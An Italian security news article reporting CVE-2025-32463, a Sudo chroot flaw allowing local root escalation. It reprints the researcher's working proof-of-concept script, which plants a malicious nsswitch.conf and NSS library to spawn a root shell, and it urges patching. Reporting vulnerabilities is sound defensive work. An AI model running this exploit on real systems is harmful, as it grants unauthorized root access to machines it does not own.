Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca

Vulnerabilità critica in Sudo: escalation dei privilegi a root su Linux

Redazione RHC : 1 Luglio 2025 09:21

Una falla critica nella sicurezza dell’utility Linux Sudo è stata individuata, tale falla permette a qualunque utente locale privo di autorizzazioni di ampliare i propri diritti fino ad arrivare all’accesso come root. Le versioni del software Sudo dalla 1.9.14 alla 1.9.17 sono state riconosciute come vulnerabili, codificate come CVE-2025-32463, e rappresentano un pericolo considerevole per i sistemi operativi Linux che adottano le impostazioni di default.

Pertanto si consiglia vivamente agli amministratori di sistema di aggiornare immediatamente i propri pacchetti Sudo, poiché non esiste una soluzione alternativa per questa vulnerabilità critica.

Il bug di sicurezza è stato individuato da Rich Mirch della Stratascale Cyber Research Unit (CRU) e interessa la funzionalità chroot (-R o -chroot) poco comune in Sudo. Questa falla risulta essere estremamente pericolosa poiché non necessita dell’impostazione di regole Sudo specifiche per l’utente malintenzionato, permettendo quindi lo sfruttamento da parte di utenti sprovvisti di autorizzazioni amministrative.


PARTE LA PROMO ESTATE -40%

RedHotCyber Academy lancia una promozione esclusiva e a tempo limitato per chi vuole investire nella propria crescita professionale nel mondo della tecnologia e della cybersecurity!

Approfitta del 40% di sconto sull’acquisto congiunto di 3 corsi da te scelti dalla nostra Academy. Ad esempio potresti fare un percorso formativo includendo Cyber Threat intelligence + NIS2 + Criptovalute con lo sconto del 40%. Tutto questo lo potrai fruire, dove e quando vuoi e con la massima flessibilità, grazie a lezioni di massimo 30 minuti ciascuna.

Contattaci tramite WhatsApp al 375 593 1011 per richiedere ulteriori informazioni oppure scriviti alla casella di posta [email protected]


Supporta RHC attraverso:
  • L'acquisto del fumetto sul Cybersecurity Awareness
  • Ascoltando i nostri Podcast
  • Seguendo RHC su WhatsApp
  • Seguendo RHC su Telegram
  • Scarica gratuitamente "Dark Mirror", il report sul ransomware di Dark Lab


  • Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.


    La falla è stata introdotta in Sudo v1.9.14 a giugno 2023 con aggiornamenti al codice di gestione della corrispondenza dei comandi quando viene utilizzata la funzionalità chroot. La vulnerabilità consente agli utenti non privilegiati di richiamare chroot() su percorsi scrivibili e non attendibili sotto il loro controllo, che Sudo esegue con autorità di root.

    #!/bin/bash
    # sudo-chwoot.sh
    # CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
    # @ Stratascale Cyber Research Unit (CRU)
    STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
    cd ${STAGE?} || exit 1
    
    cat > woot1337.c
    #include 
    
    __attribute__((constructor)) void woot(void) {
      setreuid(0,0);
      setregid(0,0);
      chdir("/");
      execl("/bin/bash", "/bin/bash", NULL);
    }
    EOF
    
    mkdir -p woot/etc libnss_
    echo "passwd: /woot1337" > woot/etc/nsswitch.conf
    cp /etc/group woot/etc
    gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
    
    echo "woot!"
    sudo -R woot woot
    rm -rf ${STAGE?}
    

    La tecnica di sfruttamento implica l’inserimento di un file /etc/nsswitch.conf dannoso all’interno di un ambiente chroot controllato, manipolando il sistema Name Service Switch (NSS). Questo permette agli aggressori di specificare fonti NSS personalizzate, corrispondenti a librerie di oggetti condivisi (come ad esempio libnss_/woot1337.so.2), che vengono successivamente caricate da Sudo con privilegi di root. Di conseguenza, si verifica una violazione della sicurezza quando le operazioni NSS sono attivate e il sistema procede al caricamento della configurazione /etc/nsswitch.conf da un ambiente che non è attendibile.

    L’exploit proof-of-concept lo dimostra creando un oggetto condiviso dannoso con una funzione che chiama setreuid(0,0) e setregid(0,0) per ottenere privilegi di root , quindi esegue /bin/bash per fornire una shell di root. Il codice exploit mostra come un semplice comando gcc -shared -fPIC può compilare la libreria dannosa che viene caricata durante le operazioni NSS di Sudo.

    I ricercatori di sicurezza hanno verificato la vulnerabilità su Ubuntu 24.04.1 con Sudo 1.9.15p5 e 1.9.16p2, nonché su Fedora 41 Server con Sudo 1.9.15p5. La vulnerabilità colpisce la configurazione predefinita di Sudo, rendendola una minaccia diffusa che richiede attenzione immediata. La correzione è disponibile in Sudo 1.9.17p1 o versioni successive, in cui l’opzione chroot è stata deprecata e le funzioni vulnerabili pivot_root() e unpivot_root() sono state rimosse.

    Redazione
    La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

    Lista degli articoli

    Articoli in evidenza

    Nuovi ricatti: se non paghi, daremo tutti i tuoi dati in pasto alle intelligenze artificiali!
    Di Redazione RHC - 03/09/2025

    Il gruppo di hacker LunaLock ha aggiunto un nuovo elemento al classico schema di estorsione, facendo leva sui timori di artisti e clienti. Il 30 agosto, sul sito web Artists&Clients, che mette in ...

    LockBit 5.0 : segnali di una nuova e possibile “Rinascita”?
    Di Pietro Melillo - 03/09/2025

    LockBit rappresenta una delle più longeve e strutturate ransomware gang degli ultimi anni, con un modello Ransomware-as-a-Service (RaaS)che ha segnato in maniera profonda l’ecosistema criminale. A ...

    Il RE dei DDoS! Cloudflare blocca un attacco mostruoso da 11,5 terabit al secondo
    Di Redazione RHC - 03/09/2025

    Il record per il più grande attacco DDoS mai registrato nel giugno 2025 è già stato battuto. Cloudflare ha dichiarato di aver recentemente bloccato il più grande attacco DDoS della storia, che ha ...

    Anche Cloudflare violata nell’incidente Salesforce! I rischi del cloud colpiscono tutti
    Di Redazione RHC - 03/09/2025

    Un’intrusione di dati è stata rilevata da Cloudflare, dove un aggressore esperto ha potuto accedere e quindi rubare i dati sensibili dei propri clienti da quella che era l’istanza Salesforce mess...

    Anche Palo Alto Networks Compromessa tramite Salesforce e Drift
    Di Antonio Piazzolla - 03/09/2025

    All’inizio di settembre 2025,Palo Alto Networks ha confermato di essere stata vittima di una violazione dei dati. La compromissione non ha interessato i suoi prodotti o servizi core, bensì alcune i...